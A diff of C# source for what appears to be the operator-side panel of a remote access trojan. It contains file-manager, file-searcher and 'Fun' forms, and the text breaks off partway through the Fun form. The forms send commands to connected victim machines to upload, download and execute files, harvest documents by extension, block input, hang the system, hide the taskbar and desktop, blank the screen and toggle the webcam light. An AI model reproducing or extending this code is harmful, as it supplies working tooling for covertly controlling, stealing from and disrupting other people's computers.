this.GotoUserProfileMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(GotoUserProfileMenu_ItemClick);
this.GotoDriversMenu.Caption = "Drivers";
this.GotoDriversMenu.Id = 19;
this.GotoDriversMenu.Name = "GotoDriversMenu";
this.GotoDriversMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(GotoDriversMenu_ItemClick);
this.DownloadMenu.Caption = "Download";
this.DownloadMenu.Id = 3;
this.DownloadMenu.Name = "DownloadMenu";
this.DownloadMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(DownloadMenu_ItemClick);
this.UploadMenu.Caption = "Upload";
this.UploadMenu.Id = 4;
this.UploadMenu.Name = "UploadMenu";
this.UploadMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(UploadMenu_ItemClick);
this.ExecuteMenu.Caption = "Execute";
this.ExecuteMenu.Id = 5;
this.ExecuteMenu.Name = "ExecuteMenu";
this.ExecuteMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(ExecuteMenu_ItemClick);
this.RenameMenu.Caption = "Rename";
this.RenameMenu.Id = 6;
this.RenameMenu.Name = "RenameMenu";
this.RenameMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(RenameMenu_ItemClick);
this.CopyMenu.Caption = "Copy";
this.CopyMenu.Id = 7;
this.CopyMenu.Name = "CopyMenu";
this.CopyMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(CopyMenu_ItemClick);
this.CutMenu.Caption = "Cut";
this.CutMenu.Id = 8;
this.CutMenu.Name = "CutMenu";
this.CutMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(CutMenu_ItemClick);
this.PasteMenu.Caption = "Paste";
this.PasteMenu.Id = 9;
this.PasteMenu.Name = "PasteMenu";
this.PasteMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(PasteMenu_ItemClick);
this.DeleteMenu.Caption = "Delete";
this.DeleteMenu.Id = 20;
this.DeleteMenu.Name = "DeleteMenu";
this.DeleteMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(DeleteMenu_ItemClick);
this.barSubItem2.Caption = "7-Zip";
this.barSubItem2.Id = 10;
this.barSubItem2.LinksPersistInfo.AddRange(new DevExpress.XtraBars.LinkPersistInfo[3]
{
new DevExpress.XtraBars.LinkPersistInfo(this.InstallZipMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.ZipFolderMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.UnzipMenu)
});
this.barSubItem2.Name = "barSubItem2";
this.InstallZipMenu.Caption = "Install";
this.InstallZipMenu.Id = 14;
this.InstallZipMenu.Name = "InstallZipMenu";
this.InstallZipMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(InstallZipMenu_ItemClick);
this.ZipFolderMenu.Caption = "Zip";
this.ZipFolderMenu.Id = 15;
this.ZipFolderMenu.Name = "ZipFolderMenu";
this.ZipFolderMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(ZipFolderMenu_ItemClick);
this.UnzipMenu.Caption = "UnZip";
this.UnzipMenu.Id = 16;
this.UnzipMenu.Name = "UnzipMenu";
this.UnzipMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(UnzipMenu_ItemClick);
this.MakeNewFolderMenu.Caption = "New Folder";
this.MakeNewFolderMenu.Id = 11;
this.MakeNewFolderMenu.Name = "MakeNewFolderMenu";
this.MakeNewFolderMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(MakeNewFolderMenu_ItemClick);
this.OpenClientFolderMenu.Caption = "Open Client folder";
this.OpenClientFolderMenu.Id = 12;
this.OpenClientFolderMenu.Name = "OpenClientFolderMenu";
this.OpenClientFolderMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(OpenClientFolderMenu_ItemClick);
this.barManager1.DockControls.Add(this.barDockControlTop);
this.barManager1.DockControls.Add(this.barDockControlBottom);
this.barManager1.DockControls.Add(this.barDockControlLeft);
this.barManager1.DockControls.Add(this.barDockControlRight);
this.barManager1.Form = this;
this.barManager1.Items.AddRange(new DevExpress.XtraBars.BarItem[21]
{
this.BackMenu, this.RefreshMenu, this.barSubItem1, this.DownloadMenu, this.UploadMenu, this.ExecuteMenu, this.RenameMenu, this.CopyMenu, this.CutMenu, this.PasteMenu,
this.barSubItem2, this.MakeNewFolderMenu, this.OpenClientFolderMenu, this.GotoDesktopMenu, this.InstallZipMenu, this.ZipFolderMenu, this.UnzipMenu, this.GotoAppDataMenu, this.GotoUserProfileMenu, this.GotoDriversMenu,
this.DeleteMenu
});
this.barManager1.MaxItemId = 21;
this.barDockControlTop.CausesValidation = false;
this.barDockControlTop.Dock = System.Windows.Forms.DockStyle.Top;
this.barDockControlTop.Location = new System.Drawing.Point(0, 0);
this.barDockControlTop.Manager = this.barManager1;
this.barDockControlTop.Size = new System.Drawing.Size(822, 0);
this.barDockControlBottom.CausesValidation = false;
this.barDockControlBottom.Dock = System.Windows.Forms.DockStyle.Bottom;
this.barDockControlBottom.Location = new System.Drawing.Point(0, 436);
this.barDockControlBottom.Manager = this.barManager1;
this.barDockControlBottom.Size = new System.Drawing.Size(822, 0);
this.barDockControlLeft.CausesValidation = false;
this.barDockControlLeft.Dock = System.Windows.Forms.DockStyle.Left;
this.barDockControlLeft.Location = new System.Drawing.Point(0, 0);
this.barDockControlLeft.Manager = this.barManager1;
this.barDockControlLeft.Size = new System.Drawing.Size(0, 436);
this.barDockControlRight.CausesValidation = false;
this.barDockControlRight.Dock = System.Windows.Forms.DockStyle.Right;
this.barDockControlRight.Location = new System.Drawing.Point(822, 0);
this.barDockControlRight.Manager = this.barManager1;
this.barDockControlRight.Size = new System.Drawing.Size(0, 436);
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl1.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(822, 410);
this.xtraTabControl1.TabIndex = 7;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.listViewExplorer);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(820, 379);
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(822, 436);
base.Controls.Add(this.xtraTabControl1);
base.Controls.Add(this.statusStrip1);
base.Controls.Add(this.barDockControlLeft);
base.Controls.Add(this.barDockControlRight);
base.Controls.Add(this.barDockControlBottom);
base.Controls.Add(this.barDockControlTop);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormFileManager.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormFileManager.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(2);
base.Name = "FormFileManager";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "File Manager";
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(FormFileManager_FormClosed);
this.statusStrip1.ResumeLayout(false);
this.statusStrip1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.popupMenuFileManager).EndInit();
((System.ComponentModel.ISupportInitialize)this.barManager1).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
base.ResumeLayout(false);
base.PerformLayout();
}
}

File diff suppressed because one or more lines are too long

155
Forms/FormFileSearcher.cs Normal file
View File

@ -0,0 +1,155 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraEditors;
using DevExpress.XtraEditors.Controls;
using DevExpress.XtraTab;
namespace Server.Forms;
public class FormFileSearcher : XtraForm
{
private IContainer components;
private Label label1;
private Label label2;
private Label label3;
private SimpleButton btnOk;
public TextEdit txtExtnsions;
public SpinEdit numericUpDown1;
private XtraTabControl xtraTabControl2;
private XtraTabPage xtraTabPage2;
public FormFileSearcher()
{
InitializeComponent();
}
private void btnOk_Click(object sender, EventArgs e)
{
if (!string.IsNullOrWhiteSpace(txtExtnsions.Text) && numericUpDown1.Value > 0m)
{
base.DialogResult = DialogResult.OK;
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormFileSearcher));
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.label3 = new System.Windows.Forms.Label();
this.btnOk = new DevExpress.XtraEditors.SimpleButton();
this.txtExtnsions = new DevExpress.XtraEditors.TextEdit();
this.numericUpDown1 = new DevExpress.XtraEditors.SpinEdit();
this.xtraTabControl2 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage2 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.txtExtnsions.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.numericUpDown1.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).BeginInit();
this.xtraTabControl2.SuspendLayout();
this.xtraTabPage2.SuspendLayout();
base.SuspendLayout();
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(17, 18);
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(41, 16);
this.label1.TabIndex = 0;
this.label1.Text = "Type:";
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(17, 86);
this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(62, 16);
this.label2.TabIndex = 3;
this.label2.Text = "Max size:";
this.label3.AutoSize = true;
this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 7f);
this.label3.Location = new System.Drawing.Point(133, 116);
this.label3.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(23, 13);
this.label3.TabIndex = 6;
this.label3.Text = "MB";
this.btnOk.Location = new System.Drawing.Point(312, 101);
this.btnOk.Name = "btnOk";
this.btnOk.Size = new System.Drawing.Size(131, 35);
this.btnOk.TabIndex = 7;
this.btnOk.Text = "OK";
this.btnOk.Click += new System.EventHandler(btnOk_Click);
this.txtExtnsions.EditValue = ".txt .pdf .doc";
this.txtExtnsions.Location = new System.Drawing.Point(20, 40);
this.txtExtnsions.Name = "txtExtnsions";
this.txtExtnsions.Size = new System.Drawing.Size(423, 30);
this.txtExtnsions.TabIndex = 8;
this.numericUpDown1.EditValue = new decimal(new int[4] { 5, 0, 0, 0 });
this.numericUpDown1.Location = new System.Drawing.Point(20, 106);
this.numericUpDown1.Name = "numericUpDown1";
this.numericUpDown1.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
{
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
});
this.numericUpDown1.Size = new System.Drawing.Size(100, 30);
this.numericUpDown1.TabIndex = 10;
this.xtraTabControl2.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl2.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl2.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl2.Name = "xtraTabControl2";
this.xtraTabControl2.SelectedTabPage = this.xtraTabPage2;
this.xtraTabControl2.Size = new System.Drawing.Size(465, 207);
this.xtraTabControl2.TabIndex = 11;
this.xtraTabControl2.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage2 });
this.xtraTabPage2.Controls.Add(this.txtExtnsions);
this.xtraTabPage2.Controls.Add(this.numericUpDown1);
this.xtraTabPage2.Controls.Add(this.label1);
this.xtraTabPage2.Controls.Add(this.label2);
this.xtraTabPage2.Controls.Add(this.btnOk);
this.xtraTabPage2.Controls.Add(this.label3);
this.xtraTabPage2.Name = "xtraTabPage2";
this.xtraTabPage2.Size = new System.Drawing.Size(463, 176);
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(465, 207);
base.Controls.Add(this.xtraTabControl2);
this.DoubleBuffered = true;
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormFileSearcher.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormFileSearcher.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(2);
base.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(467, 241);
base.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(467, 241);
base.Name = "FormFileSearcher";
base.ShowInTaskbar = false;
base.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "File Searcher";
((System.ComponentModel.ISupportInitialize)this.txtExtnsions.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.numericUpDown1.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).EndInit();
this.xtraTabControl2.ResumeLayout(false);
this.xtraTabPage2.ResumeLayout(false);
this.xtraTabPage2.PerformLayout();
base.ResumeLayout(false);
}
}

File diff suppressed because one or more lines are too long

560
Forms/FormFun.cs Normal file
View File

@ -0,0 +1,560 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraEditors;
using DevExpress.XtraEditors.Controls;
using DevExpress.XtraTab;
using MessagePackLib.MessagePack;
using Server.Connection;
namespace Server.Forms;
public class FormFun : XtraForm
{
private IContainer components;
private Label label2;
private Label label1;
private Label label3;
private Label label4;
public System.Windows.Forms.Timer timer1;
private ToggleSwitch toggleSwitchTaskbar;
private Label label5;
private ToggleSwitch toggleSwitchDesktop;
private Label label6;
private ToggleSwitch toggleSwitchClock;
private Label label7;
private ToggleSwitch toggleSwitchMouse;
private Label label8;
private ToggleSwitch toggleSwitchOpenDC;
private Label label9;
private ToggleSwitch toggleSwitchLock;
private Label label10;
private ToggleSwitch toggleSwitchCamera;
private Label label11;
private SimpleButton btnOk;
private SimpleButton simpleButton1;
private SimpleButton simpleButton2;
private SimpleButton simpleButton3;
private SimpleButton simpleButton4;
private SpinEdit numericUpDown1;
private SpinEdit numericUpDown2;
private GroupControl groupControl1;
private GroupControl groupControl2;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
public FormMain F { get; set; }
internal Clients Client { get; set; }
internal Clients ParentClient { get; set; }
public FormFun()
{
InitializeComponent();
}
private void Timer1_Tick(object sender, EventArgs e)
{
try
{
if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected)
{
Close();
}
}
catch
{
}
}
private void button11_Click(object sender, EventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "blockInput";
msgPack.ForcePathObject("Time").AsString = numericUpDown1.Value.ToString();
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void button15_Click(object sender, EventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "holdMouse";
msgPack.ForcePathObject("Time").AsString = numericUpDown2.Value.ToString();
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void button12_Click(object sender, EventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "monitorOff";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void button14_Click(object sender, EventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "hangSystem";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void button13_Click(object sender, EventArgs e)
{
}
private void FormFun_FormClosed(object sender, FormClosedEventArgs e)
{
ThreadPool.QueueUserWorkItem(delegate
{
Client?.Disconnected();
});
}
private void button19_Click(object sender, EventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "webcamlight+";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void button16_Click(object sender, EventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "webcamlight-";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void button13_Click_1(object sender, EventArgs e)
{
using OpenFileDialog openFileDialog = new OpenFileDialog();
openFileDialog.Filter = "(*.wav)|*.wav";
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
byte[] asBytes = File.ReadAllBytes(openFileDialog.FileName);
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "playAudio";
msgPack.ForcePathObject("wavfile").SetAsBytes(asBytes);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
else
{
MessageBox.Show("Please choose a wav file.");
}
}
private void toggleSwitchTaskbar_Toggled(object sender, EventArgs e)
{
string asString = (toggleSwitchTaskbar.IsOn ? "Taskbar-" : "Taskbar+");
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = asString;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void toggleSwitchDesktop_Toggled(object sender, EventArgs e)
{
string asString = (toggleSwitchDesktop.IsOn ? "Desktop-" : "Desktop+");
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = asString;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void toggleSwitchClock_Toggled(object sender, EventArgs e)
{
string asString = (toggleSwitchClock.IsOn ? "Clock-" : "Clock+");
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = asString;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void toggleSwitchMouse_Toggled(object sender, EventArgs e)
{
string asString = (toggleSwitchMouse.IsOn ? "swapMouseButtons" : "restoreMouseButtons");
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = asString;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void toggleSwitchOpenDC_Toggled(object sender, EventArgs e)
{
string asString = (toggleSwitchOpenDC.IsOn ? "openCD-" : "openCD+");
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = asString;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void toggleSwitchLock_Toggled(object sender, EventArgs e)
{
string asString = (toggleSwitchLock.IsOn ? "blankscreen-" : "blankscreen+");
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = asString;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void toggleSwitchCamera_Toggled(object sender, EventArgs e)
{
string asString = (toggleSwitchCamera.IsOn ? "webcamlight-" : "webcamlight+");
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = asString;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormFun));
this.numericUpDown1 = new DevExpress.XtraEditors.SpinEdit();
this.label2 = new System.Windows.Forms.Label();
this.simpleButton3 = new DevExpress.XtraEditors.SimpleButton();
this.label1 = new System.Windows.Forms.Label();
this.numericUpDown2 = new DevExpress.XtraEditors.SpinEdit();
this.simpleButton4 = new DevExpress.XtraEditors.SimpleButton();
this.label3 = new System.Windows.Forms.Label();
this.label4 = new System.Windows.Forms.Label();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.toggleSwitchTaskbar = new DevExpress.XtraEditors.ToggleSwitch();
this.label5 = new System.Windows.Forms.Label();
this.toggleSwitchDesktop = new DevExpress.XtraEditors.ToggleSwitch();
this.label6 = new System.Windows.Forms.Label();
this.toggleSwitchClock = new DevExpress.XtraEditors.ToggleSwitch();
this.label7 = new System.Windows.Forms.Label();
this.toggleSwitchMouse = new DevExpress.XtraEditors.ToggleSwitch();
this.label8 = new System.Windows.Forms.Label();
this.toggleSwitchOpenDC = new DevExpress.XtraEditors.ToggleSwitch();
this.label9 = new System.Windows.Forms.Label();
this.toggleSwitchLock = new DevExpress.XtraEditors.ToggleSwitch();
this.label10 = new System.Windows.Forms.Label();
this.toggleSwitchCamera = new DevExpress.XtraEditors.ToggleSwitch();
this.label11 = new System.Windows.Forms.Label();
this.btnOk = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton1 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton2 = new DevExpress.XtraEditors.SimpleButton();
this.groupControl1 = new DevExpress.XtraEditors.GroupControl();
this.groupControl2 = new DevExpress.XtraEditors.GroupControl();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.numericUpDown1.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.numericUpDown2.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchTaskbar.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchDesktop.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchClock.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchMouse.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchOpenDC.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchLock.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchCamera.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.groupControl1).BeginInit();
this.groupControl1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.groupControl2).BeginInit();
this.groupControl2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
base.SuspendLayout();
this.numericUpDown1.EditValue = new decimal(new int[4]);
this.numericUpDown1.Location = new System.Drawing.Point(39, 37);
this.numericUpDown1.Name = "numericUpDown1";
this.numericUpDown1.Properties.Appearance.Font = new System.Drawing.Font("Tahoma", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.numericUpDown1.Properties.Appearance.Options.UseFont = true;
this.numericUpDown1.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
{
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
});
this.numericUpDown1.Size = new System.Drawing.Size(89, 28);
this.numericUpDown1.TabIndex = 27;
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(135, 43);
this.label2.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(54, 16);
this.label2.TabIndex = 2;
this.label2.Text = "seconds";
this.simpleButton3.Location = new System.Drawing.Point(202, 39);
this.simpleButton3.Name = "simpleButton3";
this.simpleButton3.Size = new System.Drawing.Size(83, 26);
this.simpleButton3.TabIndex = 26;
this.simpleButton3.Text = "Start";
this.simpleButton3.Click += new System.EventHandler(button11_Click);
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(9, 43);
this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(24, 16);
this.label1.TabIndex = 1;
this.label1.Text = "for";
this.numericUpDown2.EditValue = new decimal(new int[4]);
this.numericUpDown2.Location = new System.Drawing.Point(39, 39);
this.numericUpDown2.Name = "numericUpDown2";
this.numericUpDown2.Properties.Appearance.Font = new System.Drawing.Font("Tahoma", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.numericUpDown2.Properties.Appearance.Options.UseFont = true;
this.numericUpDown2.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
{
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
});
this.numericUpDown2.Size = new System.Drawing.Size(89, 28);
this.numericUpDown2.TabIndex = 28;
this.simpleButton4.Location = new System.Drawing.Point(202, 41);
this.simpleButton4.Name = "simpleButton4";
this.simpleButton4.Size = new System.Drawing.Size(83, 26);
this.simpleButton4.TabIndex = 27;
this.simpleButton4.Text = "Start";
this.simpleButton4.Click += new System.EventHandler(button15_Click);
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(135, 46);
this.label3.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(54, 16);
this.label3.TabIndex = 2;
this.label3.Text = "seconds";
this.label4.AutoSize = true;
this.label4.Location = new System.Drawing.Point(9, 46);
this.label4.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(24, 16);
this.label4.TabIndex = 1;
this.label4.Text = "for";
this.timer1.Interval = 2000;
this.timer1.Tick += new System.EventHandler(Timer1_Tick);
this.toggleSwitchTaskbar.Location = new System.Drawing.Point(146, 47);
this.toggleSwitchTaskbar.Name = "toggleSwitchTaskbar";
this.toggleSwitchTaskbar.Properties.OffText = "Off";
this.toggleSwitchTaskbar.Properties.OnText = "On";
this.toggleSwitchTaskbar.Size = new System.Drawing.Size(119, 24);
this.toggleSwitchTaskbar.TabIndex = 10;
this.toggleSwitchTaskbar.Toggled += new System.EventHandler(toggleSwitchTaskbar_Toggled);
this.label5.AutoSize = true;
this.label5.Location = new System.Drawing.Point(23, 53);
this.label5.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label5.Name = "label5";
this.label5.Size = new System.Drawing.Size(83, 16);
this.label5.TabIndex = 1;
this.label5.Text = "Hide Taskbar";
this.toggleSwitchDesktop.Location = new System.Drawing.Point(146, 94);
this.toggleSwitchDesktop.Name = "toggleSwitchDesktop";
this.toggleSwitchDesktop.Properties.OffText = "Off";
this.toggleSwitchDesktop.Properties.OnText = "On";
this.toggleSwitchDesktop.Size = new System.Drawing.Size(119, 24);
this.toggleSwitchDesktop.TabIndex = 12;
this.toggleSwitchDesktop.Toggled += new System.EventHandler(toggleSwitchDesktop_Toggled);
this.label6.AutoSize = true;
this.label6.Location = new System.Drawing.Point(23, 99);
this.label6.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label6.Name = "label6";
this.label6.Size = new System.Drawing.Size(82, 16);
this.label6.TabIndex = 11;
this.label6.Text = "Hide Desktop";
this.toggleSwitchClock.Location = new System.Drawing.Point(146, 143);
this.toggleSwitchClock.Name = "toggleSwitchClock";
this.toggleSwitchClock.Properties.OffText = "Off";
this.toggleSwitchClock.Properties.OnText = "On";
this.toggleSwitchClock.Size = new System.Drawing.Size(119, 24);
this.toggleSwitchClock.TabIndex = 14;
this.toggleSwitchClock.Toggled += new System.EventHandler(toggleSwitchClock_Toggled);
this.label7.AutoSize = true;
this.label7.Location = new System.Drawing.Point(23, 149);
this.label7.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label7.Name = "label7";
this.label7.Size = new System.Drawing.Size(67, 16);
this.label7.TabIndex = 13;
this.label7.Text = "Hide Clock";
this.toggleSwitchMouse.Location = new System.Drawing.Point(146, 194);
this.toggleSwitchMouse.Name = "toggleSwitchMouse";
this.toggleSwitchMouse.Properties.OffText = "Off";
this.toggleSwitchMouse.Properties.OnText = "On";
this.toggleSwitchMouse.Size = new System.Drawing.Size(119, 24);
this.toggleSwitchMouse.TabIndex = 16;
this.toggleSwitchMouse.Toggled += new System.EventHandler(toggleSwitchMouse_Toggled);
this.label8.AutoSize = true;
this.label8.Location = new System.Drawing.Point(23, 199);
this.label8.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label8.Name = "label8";
this.label8.Size = new System.Drawing.Size(81, 16);
this.label8.TabIndex = 15;
this.label8.Text = "Swap Mouse";
this.toggleSwitchOpenDC.Location = new System.Drawing.Point(146, 245);
this.toggleSwitchOpenDC.Name = "toggleSwitchOpenDC";
this.toggleSwitchOpenDC.Properties.OffText = "Off";
this.toggleSwitchOpenDC.Properties.OnText = "On";
this.toggleSwitchOpenDC.Size = new System.Drawing.Size(119, 24);
this.toggleSwitchOpenDC.TabIndex = 18;
this.toggleSwitchOpenDC.Toggled += new System.EventHandler(toggleSwitchOpenDC_Toggled);
this.label9.AutoSize = true;
this.label9.Location = new System.Drawing.Point(23, 249);
this.label9.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label9.Name = "label9";
